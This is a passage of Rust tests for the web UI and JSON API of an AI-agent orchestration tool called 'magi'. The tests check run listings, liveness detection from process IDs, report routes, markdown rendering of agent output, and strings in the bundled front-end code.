12095 assert_eq!(detail.json()["base_branch"], "main");
12096 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12097 }
12098
12099 #[tokio::test]
12107 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12108 let f = Fixture::start().await;
12109
12110 let mut none_run = RunState::new(
12111 PathBuf::from("/repo/magi"),
12112 "main".to_owned(),
12113 "0123456789abcdef".to_owned(),
12114 "Add a web UI".to_owned(),
12115 Config::default(),
12116 );
12117 none_run.id = "20260902-140503-none".to_owned();
12118 none_run.status = RunStatus::Ready;
12119 none_run.merge = Some(crate::run::MergeOutcome {
12120 mode: crate::config::MergeMode::None,
12121 ok: true,
12122 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12123 empty: false,
12124 });
12125 write_state(&f.runs(), &none_run);
12126
12127 let mut pr_run = RunState::new(
12128 PathBuf::from("/repo/magi"),
12129 "main".to_owned(),
12130 "0123456789abcdef".to_owned(),
12131 "Add a web UI".to_owned(),
12132 Config::default(),
12133 );
12134 pr_run.id = "20260902-140504-prcl".to_owned();
12135 pr_run.status = RunStatus::Ready;
12136 pr_run.merge = Some(crate::run::MergeOutcome {
12137 mode: crate::config::MergeMode::Pr,
12138 ok: false,
12139 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12140 empty: false,
12141 });
12142 write_state(&f.runs(), &pr_run);
12143
12144 let summary = f.get("/api/runs").await.json();
12145 let rows: std::collections::HashMap<&str, &Value> = summary
12146 .as_array()
12147 .expect("an array")
12148 .iter()
12149 .map(|r| (r["id"].as_str().expect("an id"), r))
12150 .collect();
12151 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12152 assert_eq!(
12153 rows[none_run.id.as_str()]["unmerged_by_design"],
12154 true,
12155 "a mode-none Ready must be flagged in the list"
12156 );
12157 assert_eq!(
12158 rows[pr_run.id.as_str()]["unmerged_by_design"],
12159 false,
12160 "a Ready reached by a closed pull request is a different case"
12161 );
12162
12163 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12164 assert_eq!(none_detail["status"], "ready");
12165 assert_eq!(none_detail["unmerged_by_design"], true);
12166
12167 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12168 assert_eq!(pr_detail["unmerged_by_design"], false);
12169 }
12170
12171 #[tokio::test]
12176 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12177 let f = Fixture::start().await;
12178 let id = "20260902-140502-bbbb";
12182 let mut state = RunState::new(
12183 PathBuf::from("/repo/magi"),
12184 "main".to_owned(),
12185 "0123456789abcdef".to_owned(),
12186 "Add a web UI".to_owned(),
12187 Config::default(),
12188 );
12189 state.id = id.to_owned();
12190 state.status = RunStatus::Judging;
12191 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12192 let dir = f.runs().join(id);
12193 std::fs::create_dir_all(&dir).expect("run dir");
12194 std::fs::write(
12195 dir.join("run.json"),
12196 serde_json::to_string_pretty(&state).expect("serialize run"),
12197 )
12198 .expect("write run.json");
12199
12200 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12206 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12207 assert_eq!(cold["live"], "unknown", "{cold}");
12208
12209 write_daemon(f.home.path(), Timestamp::now());
12212 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12213 assert_eq!(warm["live"], "live", "{warm}");
12214 }
12215
12216 #[tokio::test]
12219 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12220 let f = Fixture::start().await;
12221 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12222 let mut state = RunState::new(
12223 PathBuf::from("/repo/magi"),
12224 "main".to_owned(),
12225 "0123456789abcdef".to_owned(),
12226 "Add a web UI".to_owned(),
12227 Config::default(),
12228 );
12229 state.id = id.to_owned();
12230 state.origin = origin;
12231 let mut value = serde_json::to_value(&state).expect("serialize run");
12232 if let Some(schema) = schema {
12233 value["schema"] = serde_json::json!(schema);
12234 value.as_object_mut().unwrap().remove("origin");
12235 }
12236 let dir = f.runs().join(id);
12237 std::fs::create_dir_all(&dir).expect("run dir");
12238 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12239 };
12240 write(
12241 "20260930-092817-ec34",
12242 Some(crate::run::Origin::from_agent_env(
12243 Some(("4a7b".to_owned(), "chat".to_owned())),
12244 None,
12245 )),
12246 None,
12247 );
12248 write("20260930-092817-0ld1", None, Some(12));
12249
12250 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12251 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12252 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12253
12254 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12255 assert_eq!(
12256 old["origin_label"], "origin unknown (started before origins were recorded)",
12257 "{old}"
12258 );
12259 assert!(old["origin"].is_null(), "{old}");
12260
12261 let list = f.get("/api/runs").await.json();
12262 let labels: Vec<_> = list
12263 .as_array()
12264 .unwrap()
12265 .iter()
12266 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12267 .collect();
12268 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12269 }
12270
12271 #[tokio::test]
12278 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12279 let f = Fixture::start().await;
12280 let id = "20260922-090000-cccc";
12281 let mut state = RunState::new(
12282 PathBuf::from("/repo/magi"),
12283 "main".to_owned(),
12284 "0123456789abcdef".to_owned(),
12285 "Review only".to_owned(),
12286 Config::default(),
12287 );
12288 state.id = id.to_owned();
12289 state.status = RunStatus::Reviewing;
12290 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12291 state.driver_pid = Some(std::process::id());
12297 state.driver_started_at = Some(
12298 crate::proc::process_started_at(std::process::id())
12299 .expect("this test process's own start time must be queryable"),
12300 );
12301 let dir = f.runs().join(id);
12302 std::fs::create_dir_all(&dir).expect("run dir");
12303 std::fs::write(
12304 dir.join("run.json"),
12305 serde_json::to_string_pretty(&state).expect("serialize run"),
12306 )
12307 .expect("write run.json");
12308
12309 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12310 assert_eq!(detail["live"], "live", "{detail}");
12311 }
12312
12313 #[tokio::test]
12319 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12320 let f = Fixture::start().await;
12321 let id = "20260922-090100-dddd";
12322 let mut state = RunState::new(
12323 PathBuf::from("/repo/magi"),
12324 "main".to_owned(),
12325 "0123456789abcdef".to_owned(),
12326 "Review only".to_owned(),
12327 Config::default(),
12328 );
12329 state.id = id.to_owned();
12330 state.status = RunStatus::Reviewing;
12331 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12332 state.driver_pid = Some(std::process::id());
12337 state.driver_started_at = Some("1".to_owned());
12338 let dir = f.runs().join(id);
12339 std::fs::create_dir_all(&dir).expect("run dir");
12340 std::fs::write(
12341 dir.join("run.json"),
12342 serde_json::to_string_pretty(&state).expect("serialize run"),
12343 )
12344 .expect("write run.json");
12345
12346 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12347 assert_eq!(detail["live"], "dead", "{detail}");
12348 }
12349
12350 #[test]
12354 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12355 let mk = |id: &str, pid: Option<u32>| {
12356 let mut s = RunState::new(
12357 PathBuf::from("/repo/magi"),
12358 "main".to_owned(),
12359 "0123456789abcdef".to_owned(),
12360 "Add a web UI".to_owned(),
12361 Config::default(),
12362 );
12363 s.id = id.to_owned();
12364 s.driver_pid = pid;
12365 s.driver_started_at = Some("1790000000".to_owned());
12366 s
12367 };
12368 let states = vec![
12369 mk("20260902-140502-aaaa", Some(77)),
12370 mk("20260902-140502-bbbb", Some(77)),
12371 mk("20260902-140502-cccc", Some(77)),
12372 mk("20260902-140502-dddd", None),
12373 ];
12374 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12375 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12376 let sup: HashMap<String, String> = [(
12377 "20260902-140502-aaaa".to_owned(),
12378 "20260902-140502-cccc".to_owned(),
12379 )]
12380 .into();
12381
12382 let status_calls = std::cell::Cell::new(0);
12383 let identity_calls = std::cell::Cell::new(0);
12384 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12385 |_| {
12386 status_calls.set(status_calls.get() + 1);
12387 Some(true)
12388 },
12389 |_| {
12390 identity_calls.set(identity_calls.get() + 1);
12391 Some("1790000000".to_owned())
12392 },
12393 ));
12394 let rows = summarize(
12395 states,
12396 &open,
12397 &claimed,
12398 &sup,
12399 |p| probe.borrow_mut().status(p),
12400 |p| probe.borrow_mut().started_at(p),
12401 );
12402
12403 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12404 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12405 assert_eq!(rows.len(), 4);
12406 assert!(!rows[0].waiting && rows[1].waiting);
12407 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12408 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12409 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12410 assert_eq!(rows[1].superseded_by, None);
12411 }
12412
12413 #[test]
12414 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12415 let mut state = RunState::new(
12416 PathBuf::from("/repo/magi"),
12417 "main".to_owned(),
12418 "0123456789abcdef".to_owned(),
12419 "Review only".to_owned(),
12420 Config::default(),
12421 );
12422 state.id = "20260922-090200-dead".to_owned();
12423 state.status = RunStatus::Reviewing;
12424 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12425 .expect("serialize list row");
12426 assert_eq!(row["status"], "reviewing");
12427 assert_eq!(row["live"], "dead", "{row}");
12428 assert!(!row["done"].as_bool().unwrap());
12429 }
12430
12431 #[tokio::test]
12432 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12433 let f = Fixture::start().await;
12434 for id in [
12435 "20260902-140501-aaaa",
12436 "20260902-140502-bbbb",
12437 "20260902-140503-cccc",
12438 ] {
12439 write_run(&f.runs(), id, RunStatus::Merged);
12440 }
12441
12442 let all = f.get("/api/runs").await.json();
12443 let capped = f.get("/api/runs?limit=2").await.json();
12444
12445 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12446 assert_eq!(all.as_array().map(Vec::len), Some(3));
12447 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12448 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12449 }
12450
12451 #[tokio::test]
12452 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12453 let f = Fixture::start().await;
12454 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12455
12456 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12457
12458 assert_eq!(res.status, 200);
12459 assert!(
12460 res.headers
12461 .contains("content-type: text/plain; charset=utf-8"),
12462 "a browser must render it, not download it: {}",
12463 res.headers
12464 );
12465 assert!(
12469 res.body.contains("20260902-140501-a1b2"),
12470 "the report is about the run that was asked for: {}",
12471 res.body
12472 );
12473 }
12474
12475 #[tokio::test]
12476 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12477 crate::run::pin_test_home();
12479 let f = Fixture::start().await;
12480 let id = "20260902-140501-a1b2";
12481 write_run(&f.runs(), id, RunStatus::Stalled);
12482 let path = f.runs().join(id).join("run.json");
12485 let mut v: serde_json::Value =
12486 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12487 v["tally"] = serde_json::json!({
12488 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12489 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12490 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12491 "met_quorum": false, "rankings": 1
12492 });
12493 v["reviews"] = serde_json::json!([{
12494 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12495 "e2e_deferred": true,
12496 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12497 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12498 ]}]
12499 }]);
12500 std::fs::write(&path, v.to_string()).unwrap();
12501 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12502 std::fs::write(
12503 f.runs().join("20260902-140502-dead").join("run.json"),
12504 "{not json",
12505 )
12506 .unwrap();
12507
12508 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12509
12510 assert_eq!(res.status, 200, "{}", res.body);
12511 assert!(res.headers.contains("content-type: application/json"));
12512 let j = res.json();
12513 assert_eq!(j["schema"], 1);
12514 assert_eq!(j["header"]["id"], id);
12515 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12516 let kinds: Vec<&str> = j["sections"]
12517 .as_array()
12518 .unwrap()
12519 .iter()
12520 .map(|s| s["kind"].as_str().unwrap())
12521 .collect();
12522 assert_eq!(kinds, ["candidates", "tally", "review"]);
12523 let tally = &j["sections"][1]["tally"];
12524 assert_eq!(
12525 (tally["decided"].clone(), tally["provisional"].clone()),
12526 (false.into(), true.into())
12527 );
12528 let round = &j["sections"][2]["rounds"][0];
12529 assert_eq!(round["e2e"]["state"], "deferred");
12530 assert_eq!(round["findings"][0]["severity"], "major");
12531 assert_eq!(round["findings"][0]["blocking"], true);
12532 assert_eq!(round["findings"][0]["state"], "open");
12533
12534 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12536
12537 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12539 assert_ne!(bad.status, 200, "{}", bad.body);
12540 assert_eq!(
12541 bad.status,
12542 f.get("/api/runs/20260902-140502-dead/report").await.status
12543 );
12544 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12545 assert_eq!(
12546 f.get("/api/runs/20260902-999999-ffff/report.json")
12547 .await
12548 .status,
12549 404
12550 );
12551 }
12552
12553 #[tokio::test]
12554 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12555 let f = Fixture::start().await;
12556
12557 let html = f.get("/").await;
12558 let css = f.get("/app.css").await;
12559 let js = f.get("/app.js").await;
12560
12561 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12562 assert!(
12563 html.headers
12564 .contains("content-type: text/html; charset=utf-8")
12565 );
12566 assert!(css.headers.contains("content-type: text/css"));
12567 assert!(js.headers.contains("content-type: text/javascript"));
12568 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12569 }
12570
12571 #[test]
12572 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12573 let body = |name: &str| {
12574 let at = APP_JS
12575 .find(name)
12576 .unwrap_or_else(|| panic!("{name} missing"));
12577 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12578 };
12579 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12580 let note = body("function landRoundNote");
12581 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12582 assert!(note.contains("Land round ${round}"));
12583 let land = body("function renderLand");
12584 let note_at = land
12585 .find("landRoundNote(pr)")
12586 .expect("renderLand uses the note");
12587 assert!(
12588 note_at
12589 < land
12590 .find("roundRail(pr)")
12591 .expect("renderLand uses the rail")
12592 );
12593 }
12594
12595 #[test]
12596 fn the_runs_page_redesign_keeps_its_guards() {
12597 let body = |name: &str| {
12598 let at = APP_JS
12599 .find(name)
12600 .unwrap_or_else(|| panic!("{name} missing"));
12601 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12602 };
12603 let land = body("function renderLand");
12605 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12606 assert!(
12607 !land.contains("box.append("),
12608 "renderLand must use append()"
12609 );
12610 assert!(land.contains("append(box, ["));
12611 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12613 assert!(
12614 body("function applyRoute")
12615 .contains("route.name !== state.route.name || route.id !== state.route.id")
12616 );
12617 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12619 assert!(!INDEX_HTML.contains("advise-converge"));
12620 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12621 assert!(APP_JS.contains("provisional"));
12622 for id in [
12623 "run-tab-overview",
12624 "run-tab-timeline",
12625 "run-tab-report",
12626 "run-report",
12627 "runs-scope",
12628 ] {
12629 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12630 }
12631 assert!(!INDEX_HTML.contains("runs-tree"));
12632 assert!(!INDEX_HTML.contains("run-raw-panel"));
12633 assert!(APP_JS.contains("resume"));
12635 assert!(APP_JS.contains("unreadable"));
12637 }
12638
12639 #[test]
12640 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12641 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12642 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12643 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12644 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12645 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12646 assert!(APP_JS.contains("unreadable` : null"));
12648 }
12649
12650 #[test]
12651 fn the_run_detail_payload_says_whether_the_run_is_done() {
12652 for (status, done) in [
12654 (RunStatus::Superseded, true),
12655 (RunStatus::Blocked, true),
12656 (RunStatus::Landing, false),
12657 ] {
12658 let mut state = RunState::new(
12659 std::path::PathBuf::from("/repo"),
12660 "main".to_owned(),
12661 "abc".to_owned(),
12662 "x".to_owned(),
12663 crate::config::Config::default(),
12664 );
12665 state.status = status;
12666 let v = serde_json::to_value(RunDetailView::of(
12667 state,
12668 crate::run::Liveness::Unknown,
12669 None,
12670 None,
12671 None,
12672 ))
12673 .unwrap();
12674 assert_eq!(v["done"], done, "{status:?}");
12675 }
12676 }
12677
12678 fn has_strong(nodes: &[md::Node]) -> bool {
12680 serde_json::to_string(nodes).unwrap().contains("strong")
12681 }
12682
12683 #[test]
12684 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12685 let mut state = RunState::new(
12686 std::path::PathBuf::from("/repo"),
12687 "main".to_owned(),
12688 "abc".to_owned(),
12689 "x".to_owned(),
12690 crate::config::Config::default(),
12691 );
12692 let proposal = |approach: &str| {
12693 serde_json::json!({
12694 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12695 })
12696 };
12697 state.advice = Some(
12698 serde_json::from_value(serde_json::json!({
12699 "records": [
12700 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12701 "proposal": proposal("do **this**")},
12702 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12703 ],
12704 "synthesis": "- one\n- **two**\n\n`code`",
12705 }))
12706 .unwrap(),
12707 );
12708 state.candidates = serde_json::from_value(serde_json::json!([
12709 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12710 "summary": "did **it**"},
12711 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12712 ]))
12713 .unwrap();
12714 state.reviews = serde_json::from_value(serde_json::json!([{
12717 "round": 1, "head": "h",
12718 "reviews": [{
12719 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12720 "findings": [
12721 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12722 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12723 ],
12724 }],
12725 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12726 "fix": {"agent": "a", "notes": "fixed **it**",
12727 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12728 }, {"round": 2, "head": "h2", "reviews": []}]))
12729 .unwrap();
12730
12731 let v = serde_json::to_value(RunDetailView::of(
12732 state,
12733 crate::run::Liveness::Unknown,
12734 None,
12735 None,
12736 None,
12737 ))
12738 .unwrap();
12739
12740 let strong = |p: &str| {
12741 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12742 assert!(n.to_string().contains("strong"), "{p}: {n}");
12743 };
12744 strong("/advice_md/synthesis");
12745 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12746 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12747 strong("/advice_md/approaches/0");
12748 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12749 strong("/candidate_summaries_md/0");
12750 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12751 strong("/reviews_md/0/reviewers/0/summary");
12752 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12753 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12754 assert!(f[1].to_string().contains("strong"));
12755 strong("/reviews_md/0/reconsideration/0");
12756 strong("/reviews_md/0/fix/notes");
12757 strong("/reviews_md/0/fix/rejected/0");
12758 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12759 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12760 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12762 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12763 }
12764
12765 #[test]
12766 fn a_run_without_advice_has_no_advice_md() {
12767 let state = RunState::new(
12768 std::path::PathBuf::from("/repo"),
12769 "main".to_owned(),
12770 "abc".to_owned(),
12771 "x".to_owned(),
12772 crate::config::Config::default(),
12773 );
12774 let p = run_prose_md(&state);
12775 assert!(p.advice_md.is_none());
12776 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12777 }
12778
12779 #[test]
12780 fn a_question_view_carries_markdown_for_each_thread_turn() {
12781 let home = TempDir::new().unwrap();
12782 let store = ask::Questions::at(home.path().join("questions"));
12783 let mut q = Question::new(
12784 "run".to_owned(),
12785 "implement".to_owned(),
12786 "impl-A".to_owned(),
12787 "which?".to_owned(),
12788 String::new(),
12789 Vec::new(),
12790 );
12791 q.say("plain words").unwrap();
12792 q.reply("use **this**", Vec::new()).unwrap();
12793 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12794 let bodies = &v["thread_bodies_md"];
12795 assert_eq!(bodies.as_array().unwrap().len(), 2);
12796 assert!(!bodies[0].to_string().contains("strong"));
12797 assert!(bodies[1].to_string().contains("strong"));
12798 }
12799
12800 #[test]
12801 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12802 let home = TempDir::new().unwrap();
12803 let store = ask::Questions::at(home.path().join("questions"));
12804 let mut q = Question::new(
12805 "run".to_owned(),
12806 "conduct".to_owned(),
12807 "conduct".to_owned(),
12808 "which?".to_owned(),
12809 String::new(),
12810 Vec::new(),
12811 );
12812 q.say("plain words").unwrap();
12813 q.thread.push(ask::Turn {
12814 who: ask::Who::Agent,
12815 body: "Settled as `merge`".to_owned(),
12816 at: jiff::Timestamp::now(),
12817 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12818 });
12819 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12820 let notes = &v["thread_notes_md"];
12821 assert_eq!(notes.as_array().unwrap().len(), 2);
12822 assert!(notes[0].is_null());
12823 let text = notes[1].to_string();
12824 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12825 assert!(APP_JS.contains("ask-turn-note"));
12826 }
12827
12828 #[test]
12829 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12830 assert!(APP_JS.contains("function landView(run, raw) {"));
12834 assert!(
12835 APP_JS.contains(
12836 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12837 )
12838 );
12839 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12840 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12841 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12842 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12843 }
12844
12845 #[test]
12846 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12847 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12848 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12849 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12850 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12851 }
12852
12853 #[test]
12854 fn review_rounds_label_a_distinct_verified_head() {
12855 assert!(APP_JS.contains("round.verified_head"));
12856 assert!(APP_JS.contains("verified HEAD"));
12857 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12858 }
12859
12860 #[test]
12861 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12862 assert!(APP_JS.contains("blocked: { glyph:"));
12866 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12867
12868 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12872 assert!(
12873 APP_JS.contains(
12874 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12875 ),
12876 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12877 );
12878 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12882
12883 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12887 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12888 assert!(
12889 APP_JS.contains("location.hash = \"#/questions\";"),
12890 "a question node must jump to the Questions screen, not pretend to be a task"
12891 );
12892
12893 assert!(APP_JS.contains("Resolved questions"));
12896 assert!(APP_JS.contains("r.answersList.append("));
12897 assert!(APP_CSS.contains(".task-answers"));
12898 {
12899 let start = APP_JS
12900 .find("function updateTalkTaskRow")
12901 .expect("updateTalkTaskRow");
12902 let body = &APP_JS[start..];
12903 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12904 assert!(
12905 body.contains(
12906 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12907 ),
12908 "a chat-filed task row must link to the task page"
12909 );
12910 assert!(
12911 !body.contains("#/runs/") && !body.contains("#/queue/"),
12912 "the row must not branch to a run or the queue card"
12913 );
12914 assert!(APP_CSS.contains(".talk-task-link"));
12915 }
12916 }
12917
12918 #[test]
12919 fn a_task_notification_links_to_the_task_page() {
12920 let start = APP_JS
12922 .find("function noticeLink(")
12923 .expect("noticeLink exists");
12924 let body = &APP_JS[start..];
12925 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12926 assert!(
12927 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12928 "a task notice's link must target the task page"
12929 );
12930 assert!(
12931 !body.contains("#/queue/"),
12932 "regression: the task link must not go back to the Backlog route"
12933 );
12934 assert!(
12935 APP_JS.contains(
12936 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12937 ),
12938 "`#/tasks/<id>` must parse into the task route"
12939 );
12940
12941 assert!(
12943 APP_JS.contains(
12944 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12945 ),
12946 "`#/queue/<id>` must parse into a route carrying that id"
12947 );
12948
12949 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12953 assert!(APP_JS.contains("function consumeQueueFocus()"));
12954 assert!(APP_JS.contains("jumpToTask(id)"));
12955 }
12956
12957 #[test]
12960 fn chat_rows_put_the_title_alone_on_the_first_line() {
12961 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12962 assert!(APP_CSS.contains(
12963 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12964 ));
12965 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12966 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12967 }
12968
12969 #[test]
12970 fn run_rows_put_the_title_alone_on_the_first_line() {
12971 assert!(
12972 APP_CSS.contains(
12973 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12974 )
12975 );
12976 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12977 assert!(APP_JS.contains("class: \"card run-card\""));
12978 assert!(APP_JS.contains("class: \"repo run-id\""));
12979 }
12980
12981 #[test]
12985 fn wide_screens_show_list_and_preview_side_by_side() {
12986 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12988 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12989 assert!(APP_CSS.contains("main[data-split]"));
12990 assert!(APP_CSS.contains("body[data-split]"));
12991
12992 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12994 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12995 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12996 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12997 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12998
12999 assert!(APP_JS.contains("function markSelected() {"));
13001 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13002 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13003 assert!(
13005 APP_CSS.contains(
13006 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13007 )
13008 );
13009
13010 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13012 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13013 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13014 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13015
